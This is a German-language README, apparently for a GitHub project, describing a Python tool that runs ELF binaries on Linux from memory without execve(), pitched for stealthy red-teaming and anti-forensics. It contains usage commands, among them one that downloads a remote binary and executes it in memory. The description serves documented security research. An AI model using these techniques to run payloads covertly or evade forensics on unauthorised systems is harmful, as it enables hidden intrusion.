anvilsecure/ulexecveFührt beliebige ELF-Binärdateien direkt aus dem Speicher unter Linux aus, ohne die Festplatte zu berühren, und ermöglicht so verdeckte Red-Teaming- und Anti-Forensik-Operationen über ein einzelnes Python-Skript.
Führe dynamisch oder statisch kompilierte ELF-Linux-Binärdateien aus, ohne jemals execve() aufzurufen.
cat /bin/echo | ulexecve - hello
hello
Dieses Python-Werkzeug heißt ulexecve und steht für userland execve. Es hilft dir, beliebige ELF-Binärdateien auf Linux-Systemen aus dem Userspace auszuführen, ohne jemals den execve()-Systemaufruf zu verwenden. Mit anderen Worten: Du kannst beliebige Binärdateien direkt aus dem Speicher ausführen, ohne sie jemals auf den Datenträger schreiben zu müssen. Dies ist aus forensischer oder Red-Teaming-Perspektive sehr nützlich und ermöglicht es dir, dich heimlicher zu bewegen, während du dennoch kompilierte Binärdateien auf Zielmaschinen ablegst. Das Werkzeug funktioniert mit CPython 3.x sowie CPython 2.7 (und möglicherweise früher) auf den unterstützten Linux-Plattformen (x86, x86-64 und aarch64). Es werden sowohl statische als auch dynamisch kompilierte ELF-Binärdateien unterstützt. Natürlich wird es immer eine kleine Teilmenge von Binärdateien geben, die möglicherweise nicht funktionieren oder zu einem Absturz führen, und für diese ist eine 100% zuverlässige Fallback-Methode implementiert, die auf dem modernen Systemaufruf memfd_create() basiert.
Linux-Userland-execve-Werkzeuge haben eine Geschichte, die etwa zwei Jahrzehnte zurückreicht. Die ersten soliden Beschreibungen dazu stammen von the grugq in The Design and Implementation of Userland Exec [1] sowie einem weiteren Artikel in Phrack 62 [2]. Anti-forensische Techniken zur Ausführung von Binärdateien direkt aus dem Speicher sind recht verbreitet. Rapid7s mettle enthält beispielsweise eine Bibliothek namens libreflect, die ein Dienstprogramm noexec enthält, das ebenfalls versucht, ein ELF nur durch Reflection auszuführen. Dieses Werkzeug ist jedoch in C geschrieben und hat die implizite Anforderung, dass du die noexec-Binärdatei auf das Zielsystem übertragen und diese Binärdatei ausführen können musst.
In modernen Containerumgebungen ist dies definitiv nicht immer mehr möglich. Allerdings enthalten viele Containerumgebungen eine Python-Installation. Die Fähigkeit, einfach ein Python-Skript per curl oder ähnlich auf einer Zielmaschine herunterzuladen und dieses Skript dann auszuführen, um anschließend heimlich beliebige Binärdateien auszuführen, ist aus forensischer Sicht sehr nützlich.
Dies ist auch der Grund, warum das Werkzeug vollständig in einer einzigen Datei implementiert ist. Dies sollte es einfacher machen, es auf Zielsystemen herunterzuladen und sich keine Gedanken über die Installation anderer Abhängigkeiten zu machen, bevor es ausgeführt werden kann. Das Werkzeug wird mit Python 2.7 getestet, obwohl diese Python-Version veraltet ist. Es gibt noch viele Systeme mit 2.x-Versionen, daher ist dies nützlich.
Es gab keine guten anderen Implementierungen eines Python-Userland-execve(). Es gibt SELF [3], das nicht ausführlich dokumentiert war, keine einfachen Debugging-Optionen bot, aber vor allem überhaupt nicht funktionierte. Die ulexecve-Implementierung wurde von Grund auf neu geschrieben. Sie parst die ELF-Datei, lädt und parst bei Bedarf auch den dynamischen Linker, bildet alle Segmente in den Speicher ab und erstellt schließlich einen Sprungpuffer mit CPU-Anweisungen, um die Kontrolle vom Python-Prozess direkt auf die neu geladene Binärdatei zu übertragen.
Die gesamte übliche ELF-Parsing-Logik, das Einrichten des Stacks, das Abbilden der ELF-Segmente und das Einrichten der Sprungpuffer sind abstrahiert, sodass es relativ einfach (in der Größenordnung von ein paar Stunden) ist, es auf eine andere CPU zu portieren. Die Portierung auf andere ELF-basierte Plattformen wie die BSDs könnte etwas aufwändiger sein, sollte aber dennoch recht einfach sein. Weitere Informationen dazu findest du in den Kommentaren im Code.
Bitte beachte, dass es ein explizites Designziel ist, keine externen Abhängigkeiten zu haben und alles in einer einzigen Quellcodedatei zu implementieren. Wenn du kleinere Payloads benötigst, sollte es relativ trivial sein, die Unterstützung für bestimmte CPU-Typen zu entfernen oder alle Debug-Informationen und andere Optionen zu entfernen.
Obwohl dies aus forensischer Sicht wenig Sinn ergibt, ist das Werkzeug über pip installierbar.
pip install ulexecve
ulexecve --help
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help
Das Werkzeug unterstützt vollständig statische und dynamisch kompilierte ausführbare Dateien. Gib einfach den Dateinamen der Binärdatei an ulexecve und alle Argumente, die du an die Binärdatei übergeben möchtest. Die Umgebung wird direkt aus der Umgebung kopiert, in der du ulexecve ausführst.
ulexecve /bin/ls -lha
Du kannst eine Binärdatei von stdin lesen lassen, wenn du - als Dateinamen angibst.
cat /bin/ls | ulexecve - -lha
Um eine Binärdatei in den Speicher herunterzuladen und sofort auszuführen, kannst du --download verwenden. Dies interpretiert das Dateinamen-Argument als URI.
ulexecve --download http://host/binary
Zum Debuggen stehen mehrere Optionen zur Verfügung. Bei einem Absturz kannst du Debug-Informationen über --debug, den aufgebauten Stack über --show-stack sowie den generierten Sprungpuffer über --show-jumpbuf anzeigen. Die Option --jump-delay ist sehr nützlich, wenn du ein ELF ordnungsgemäß parsen und abbilden möchtest und dann einen Debugger anhängen, um durch den Sprungpuffer und die letztendlich ausgeführte Binärdatei zu schreiten, um die Ursache des Absturzes zu finden.
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
argv
00000000: 0x0000000000000002
00000008: 0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245: 00 00 00
248: 4c 01 d9 add %r11,%rcx
24b: 48 31 d2 xor %rdx,%rdx
24e: ff e1 jmpq *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello
Es gibt immer die Option --fallback. Sie ist nicht so heimlich wie das Parsen und Abbilden der Binärdateien selbst im Userspace. Die Fallback-Methode verwendet memfd_create() und fexecve(), sollte aber zu 100% für die Ausführung beliebiger statischer oder dynamischer Binärdateien funktionieren. Vorausgesetzt natürlich, die gelieferten Binärdateien sind die richtigen für die Plattform, auf der du dich befindest.
Offensichtlich kannst du immer auf Binärdateien stoßen, die nicht ordnungsgemäß ausgeführt werden. Diese Implementierung ist jedoch ziemlich sauber und gut getestet (sie enthält Unit-Tests für statische und dynamische Binärdateien, PIE-kompilierte ausführbare Dateien und ausführbare Dateien mit unterschiedlichen Laufzeiten wie Rust oder Go). Für die meisten Werkzeuge und Binärdateien auf den genannten Plattformen sollte es funktionieren. Aber deine Erfahrung kann abweichen. Binärdateien, die von Installationspaketen erstellt werden, die andere Informationen in die ELFs einbetten, funktionieren möglicherweise nicht richtig, je nach den von ihnen verwendeten Selbstreferenzierungs-Tricks. Für PyInstaller-Binärdateien wurde jedoch ein spezifischer Fallback zu ulexecve hinzugefügt.
Binärdateien, die mit PyInstaller erstellt wurden, funktionieren nicht direkt. Diese Binärdateien benötigen eine begleitende Paketdatei oder betten in den meisten Fällen die zusätzlichen Daten, die zum Entpacken und ordnungsgemäßen Ausführen nach dem Start des eingebetteten Python-Interpreters erforderlich sind, in das ELF ein. Dies bedeutet, dass sie nicht ordnungsgemäß zum Laufen gebracht werden können. Es gibt einige Möglichkeiten, dies zu umgehen. Eine einfache Methode, die in einer Teilmenge realer Fälle funktionieren kann, geht von einem beschreibbaren temporären Dateisystem aus. Dann ersetzen wir die Zeichenfolge /proc/self/exe in der Binärdatei durch /tmp/xxxx. Danach laden wir die Binärdatei über memfd_create() in den Speicher und verweisen dann den Symlink bei /tmp/xxxx auf /proc/<pid>/fd/<fd> zur speicherresidenten Datei. Um diese Option auszuprobieren, verwende --pyi-fallback. Wenn du ein bestimmtes anderes temporäres Verzeichnis angeben musst, verwende --tmpdir. Bitte beachte, dass der resultierende Pfad einschließlich des tmpdir genau so viele Bytes lang sein muss wie die Zeichenfolge /proc/self/exe (14 Bytes), daher funktionieren längere Pfade nicht.
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h | ./ulexecve.py --pyi-fallback -
hello
Wenn du auf eine andere Plattform portierst, stelle sicher, dass die wenigen Unit-Tests alle funktionieren. Führe einfach das enthaltene ./test.py auf der Zielplattform aus und behebe alles, bis alle diese Tests wieder erfolgreich sind.
Reiche einen Pull-Request über GitHub ein, melde ein Problem im Issue-Tracker oder sende einfach eine E-Mail an [email protected].
"The Design and Implementation of Userland Exec", by the grugq.
"FIST! FIST! FIST! Its all in the wrist: Remote Exec", by grugq, Phrack 62-0x08, 2004-07-13.
Implementation of SELF in Python, by Maciej Kotowicz (mak).